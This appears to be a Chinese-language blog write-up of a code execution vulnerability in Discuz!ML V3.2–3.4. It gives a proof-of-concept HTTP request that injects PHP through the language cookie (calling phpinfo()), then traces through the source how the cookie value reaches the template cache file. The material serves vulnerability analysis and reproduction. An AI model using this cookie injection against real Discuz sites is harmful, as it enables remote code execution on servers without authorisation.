#漏洞综述

漏洞类型:代码执行漏洞
影响系统及版本:Discuz!ML V3.2-3.4
漏洞原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。

#漏洞poc

1
2
3
4
5
6
7
8
9
10
GET /Discuz/upload/forum.php HTTP / 1.1 
主机:169.254.183.180
User-Agent:Mozilla / 5.0(Windows NT 10.0; Win64; x64; rv:68.0)Gecko / 20100101 Firefox / 68.0
接受:text / html,application /xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh; q = 0.8,zh-TW; q = 0.7,zh-HK; q = 0.5, en-US; q = 0.3,en; q = 0.2
Accept-Encoding:gzip,deflate
Connection:close
Cookie:lpAo_2132_saltkey = gJ6FRwO6; lpAo_2132_language = en'.phpinfo()'。lpAo_2132_lastvisit = 1563156484; lpAo_2132_sid = G5YO6z; lpAo_2132_lastact = 1563160086%09home.php%09misc; lpAo_2132_onlineusernum = 1; lpAo_2132_sendmail = 1
升级 - 不安全请求:1
缓存控制:max-age = 0

#漏洞分析

1.在PoC的代码中填充'.1.'使得代码出错,定位出错代码文件:

upload successful

upload successful

2.报错点1:portal.php 第35行,

upload successful

upload successful

紧接着定位libfile函数,文件加载路径函数(command+B)。该函数读取source目录下的$folder子目录作为基础部分。

upload successful

该函数读取source目录下的$folder子目录作为基础部分,realpath函数为返回绝对路径函数,DISCUZ_ROOT为定义网站根目录的常量。
=>原因是系统因为找不到一个php文件而报的错。
3.报错2:source/moudle/portal_index.php 第32行

upload successful

upload successful

定位template函数,文件加载路径函数/source/function/function_core.php(command+B)。该函数作用也是调用模版。

upload successful

程序将缓存文件写在了/data/template/目录下,文件名由DISCUZ_LANG等多个变量组成,追溯DISCUZ_LANG的输入为$_config['output']['language']

upload successful

继续跟进该值(command+shift+F)

upload successful

=>DISCUZ_LANG值为Cookie中获取到的language($lng),未设置过滤

upload successful

4.总结

1
2
3
4
5
1.从cookie中获取了language的值(可控)
2.language值赋给$lng
3.$lng值赋给DISCUZ_LANG
4.系统通过template函数调用模板文件
5.template函数执行,执行到$cachefile的时候,执行构造的代码

#复现

抓包并在在language参数处’.phpinfo().’

#参考

Discuz!ML 3.x任意代码执行漏洞之大佬分析之后我分析
https://www.freebuf.com/vuls/208457.html
Discuz!ML V3.X代码注入复现与原理分析
https://museljh.github.io/2019/07/15/Discuz!ML%20V3.X%20%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/
Discuz!ML V3.X 代码注入分析
https://mp.weixin.qq.com/s/5Zl3Jve4eblNIXh30t469w